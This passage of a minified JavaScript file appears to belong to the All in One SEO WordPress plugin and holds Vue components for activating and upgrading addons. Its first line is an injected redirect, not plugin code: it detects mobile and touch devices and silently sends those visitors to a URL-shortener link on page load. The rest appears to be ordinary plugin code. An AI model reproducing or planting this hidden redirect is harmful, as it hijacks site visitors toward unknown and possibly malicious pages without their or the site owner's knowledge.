(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
import{x as n,b as A,_ as b,a7 as S,h as C}from"./app-core.fa86622d.js";import{C as y}from"./Index.3b124722.js";import{C as k}from"./Index.a51db00d.js";import{_ as x}from"./_plugin-vue_export-helper.eefbdd86.js";import{an as g,f as p,Q as f,R as r,ae as s,U as c,M as L,a0 as M,u}from"./vendor-vue-ui.ad4935f9.js";import{_ as m,a as U}from"./vendor-other.835e467b.js";const _="all-in-one-seo-pack",P={emits:["addon-activated"],setup(){return{addonsStore:S(),pluginsStore:b(),rootStore:A()}},components:{CoreAlert:y,Cta:k},props:{addonSlug:{type:String,required:!0},featureList:{type:Array,default:()=>[]},postActivationPromises:{type:Array,default:()=>[]},ctaButtonText:String,ctaHeader:String,ctaDescription:String,learnMoreText:String,learnMoreLink:String,alignTop:Boolean,preventGlobalAddonUpdate:Boolean},data(){return{addons:n,strings:{activateError:m("An error occurred while activating the addon. Please upload it manually or contact support for more information.",_),permissionWarning:m("You currently don't have permission to activate this addon. Please ask a site administrator to activate first.",_)},failed:!1,activationLoading:!1}},methods:{activateAddon(){this.failed=!1,this.activationLoading=!0;const t=n.getAddon(this.addonSlug);this.pluginsStore.installPlugins([{plugin:t.basename}]).then(o=>{if(o.body.failed.length){this.activationLoading=!1,this.failed=!0;return}const e=this.postActivationPromises.map(i=>i());Promise.all(e).then(()=>{if(this.preventGlobalAddonUpdate){this.$emit("addon-activated",t);return}this.activationLoading=!1,t.hasMinimumVersion=!0,t.isActive=!0,this.addonsStore.updateAddon(t),this.$emit("addon-activated",t)})}).catch(()=>{this.activationLoading=!1})}}};function B(t,o,e,i,a,d){const l=g("core-alert"),h=g("cta");return p(),f(h,{"cta-button-visible":a.addons.userCanInstallOrActivate(e.addonSlug),"cta-button-visible-warning":a.strings.permissionWarning,"cta-link":`${i.rootStore?.aioseo?.urls.aio.featureManager}&aioseo-activate=${e.addonSlug}`,"cta-button-action":"","cta-button-loading":a.activationLoading,onCtaButtonClick:d.activateAddon,"same-tab":"","button-text":e.ctaButtonText,"learn-more-link":e.learnMoreLink,"feature-list":e.featureList,"align-top":e.alignTop,"hide-bonus":""},{"header-text":r(()=>[s(c(e.ctaHeader),1)]),description:r(()=>[a.failed?(p(),f(l,{key:0,type:"red"},{default:r(()=>[s(c(a.strings.activateError),1)]),_:1})):L("",!0),s(" "+c(e.ctaDescription),1)]),"learn-more-text":r(()=>[s(c(e.learnMoreText),1)]),_:1},8,["cta-button-visible","cta-button-visible-warning","cta-link","cta-button-loading","onCtaButtonClick","button-text","learn-more-link","feature-list","align-top"])}const T=x(P,[["render",B]]),v="all-in-one-seo-pack",V={emits:["addon-activated"],setup(){return{addonsStore:S(),pluginsStore:b(),rootStore:A()}},components:{CoreAlert:y,Cta:k},props:{addonSlug:{type:String,required:!0},featureList:{type:Array,default:()=>[]},postActivationPromises:{type:Array,default:()=>[]},addonName:String,installedVersion:String,minimumVersion:String,ctaButtonText:String,ctaHeader:String,ctaDescription:String,learnMoreText:String,learnMoreLink:String,alignTop:Boolean,preventGlobalAddonUpdate:Boolean},data(){return{addons:n,strings:{activateError:m("An error occurred while activating the addon. Please upload it manually or contact support for more information.",v),permissionWarning:m("You currently don't have permission to activate this addon. Please ask a site administrator to activate first.",v),updateRequired:U(m("This addon requires an update. %1$s %2$s requires a minimum version of %3$s for the %4$s addon. You currently have %5$s installed.",v),"AIOSEO","Pro",n.getAddon(this.addonSlug).minimumVersion,n.getAddon(this.addonSlug).name,n.getAddon(this.addonSlug).installedVersion)},failed:!1,activationLoading:!1}},methods:{upgradeAddon(){this.failed=!1,this.activationLoading=!0